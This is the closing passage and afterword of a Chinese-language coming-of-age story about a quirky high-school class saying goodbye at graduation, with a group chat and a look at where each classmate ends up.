观察期：三年 结论：抽象是他们的保护色，温暖是他们的底色。 ——观察员洐沁，于毕业日” 我接过本子，很重。 “谢谢。”我说。 “不客气。”她挥挥手，“班长，大学也要加油。” “你也是。” 她转身走了。 我站在原地，翻着那本画册。 一页一页，像把三年又过了一遍。 笑着，气着，崩溃着，温暖着。 --- 晚上，家里。 我打开“抽象养老院”群。 消息已经99+。 梦萱发了她在艺术学院宿舍的照片——她把室友也画成了Q版。 大雄发了训练场照片，铅球堆成山。 鲁平和张聪明发了办公室合影——他俩的工位已经合并成一个了。 洐沁发了论文封面，导师签字了。 我发了一张今天的火锅残局。 梦萱：「@全体成员以后每年今天，必须聚！」 大雄：「好。」 鲁平：「同意。」 张聪明：「啊～一定啊～」 洐沁：「数据需要更新。」 我：「……行。」 看着屏幕，我笑了。 笑着笑着，眼泪终于掉下来。 不是崩溃的眼泪。 是舍不得。 虽然他们抽象、奇葩、让人崩溃。 但他们是我的高中。 我的，独一无二的，抽象青春。 - 完 - --- 后记 那张挂在教学楼的照片，成了传奇。 新生入学时，学长学姐会指着照片说：“看，这就是传说中的五班。” “他们真的那样吗？” “比这还夸张。” 鲁平和张聪明还在教书，每年带新班，都会讲“我们以前有个学生……” 梦萱在艺术学院继续颠，但她的行为艺术开始有人欣赏——因为“够疯”。 大雄的铅球越扔越远，脸上的痘痘好了不少，但他说“留了三颗做纪念”。 洐沁的论文获奖了，她保研了，研究方向还是我们——她说“样本要长期跟踪”。 我，在外地大学，学管理。 偶尔崩溃时，会翻开那本Q版画册。 然后笑出声。 然后去群里发一句：「我想你们了。」 梦萱会回：「肉麻！来打架！」 大雄会发个憨笑表情。 鲁平会发哲学名言。 张聪明会发「啊～」 洐沁会发新的观察笔记。 一切都没变。 一切又都变了。 但还好。 群还在。 他们还在。 我的抽象青春，以另一种方式，继续着。 青春散场，但故事未完。 因为抽象的人，永远年轻，永远折腾，永远让人哭笑不得。 这就是五班。 这就是我们。 再见，高中。 你好，未来。 - 后记完 -